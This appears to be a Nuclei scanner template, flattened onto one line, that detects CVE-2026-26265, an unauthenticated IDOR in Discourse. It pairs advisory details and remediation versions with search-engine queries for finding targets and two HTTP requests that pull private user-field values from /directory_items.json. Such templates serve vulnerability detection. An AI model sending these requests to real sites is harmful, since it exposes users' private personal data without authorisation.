id: CVE-2026-26265 info: name: Discourse - Private User Field Disclosure via Directory Items IDOR author: str4k3r severity: high description: | Discourse prior to 2025.12.2, 2026.1.1, and 2026.2.0 contains an IDOR vulnerability caused by lack of authorization checks on user_field_ids parameter in DirectoryItemsController#index, letting any user retrieve private user field values, exploit requires no authentication. impact: | Any user, including anonymous, can bulk exfiltrate private user data such as phone numbers and addresses. remediation: | Update to versions 2025.12.2, 2026.1.1, or 2026.2.0 or later. reference: - https://github.com/discourse/discourse/security/advisories/GHSA-crxf-p6jm-vpgw - https://nvd.nist.gov/vuln/detail/CVE-2026-26265 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-26265 epss-score: 0.01273 epss-percentile: 0.69729 cwe-id: CWE-639 metadata: verified: true max-request: 2 vendor: discourse product: discourse shodan-query: http.component:"Discourse" fofa-query: app="Discourse" zoomeye-query: app:"Discourse" hunter-query: web.title="Discourse" tags: cve,cve2026,discourse,idor,exposure,unauth flow: | http(1); var id = template["uf_id"]; if (Array.isArray(id)) set("uf_id", id[0]); if (template["uf_id"]) http(2); http: - raw: - | GET /site.json HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains(body, "user_fields")' condition: and internal: true extractors: - type: regex name: uf_id internal: true part: body group: 1 regex: - '"id":(\d+)[^{}]*?"show_on_(?:profile|user_card)":false' - raw: - | GET /directory_items.json?period=all&user_field_ids={{uf_id}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'contains(body, "\"user_fields\":{\"" + uf_id + "\":")' condition: and # digest: 4a0a00473045022100b744acde8538ff37228c554ac3506a2f7751482aaebd66d565a5364033144c00022061438c1800e99a77a5cffb6737b0e907991723fcb8307100e96a8566bff060bc:922c64590222798bb761d5b6d8e72950